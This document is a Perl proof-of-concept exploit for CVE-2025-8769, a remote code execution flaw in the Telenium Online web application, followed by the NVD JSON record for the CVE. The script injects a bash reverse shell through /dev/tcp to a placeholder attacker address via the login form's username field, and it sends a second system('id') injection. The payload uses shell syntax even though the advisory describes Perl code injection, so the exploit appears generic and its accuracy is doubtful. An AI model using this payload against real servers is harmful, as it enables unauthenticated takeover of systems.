CVE-2025-8769

#!/usr/bin/env perl # CVE-2025-8769 PoC - Telenium Online RCE # This PoC demonstrates remote code execution via improper input validation use strict; use warnings; use LWP::UserAgent; my $target = $ARGV[0] || 'http://target.com/telenium'; my $attacker_ip = 'attacker_ip'; my $attacker_port = '4444'; # Create reverse shell payload my $payload = ";/bin/bash -i >& /dev/tcp/$attacker_ip/$attacker_port 0>&1;"; # Alternative: Direct command execution # my $payload = ";id;uname -a;"; my $ua = LWP::UserAgent->new(); $ua->timeout(10); $ua->agent('Mozilla/5.0 (Windows NT 10.0; Win64; x64)'); # Construct malicious HTTP request my $response = $ua->post( "$target/login.pl", Content-Type => 'application/x-www-form-urlencoded', Content => [ 'username' => 'admin' . $payload, 'password' => 'anypassword' ] ); print "[*] Sending exploit payload to: $target\n"; print "[*] Response Status: " . $response->status_line . "\n"; print "[*] If vulnerable, check your listener on port $attacker_port\n"; # Alternative PoC using system() command injection my $cmd_poc = ";system('id');"; $response = $ua->post( "$target/login.pl", Content => 'username=' . $cmd_poc . '&password=test' ); print "[*] Command injection PoC sent\n"; print "[*] Response: " . $response->decoded_content . "\n";

{"cve": {"id": "CVE-2025-8769", "sourceIdentifier": "[email protected]", "published": "2025-12-24T21:16:04.710", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Telenium Online Web Application is vulnerable due to a Perl script that \nis called to load the login page. Due to improper input validation, an \nattacker can inject arbitrary Perl code through a crafted HTTP request, \nleading to remote code execution on the server."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}], "references": [{"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2024/icsa-24-263-04.json", "source": "[email protected]"}, {"url": "https://megasys.com/support/", "source": "[email protected]"}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-263-04", "source": "[email protected]"}]}}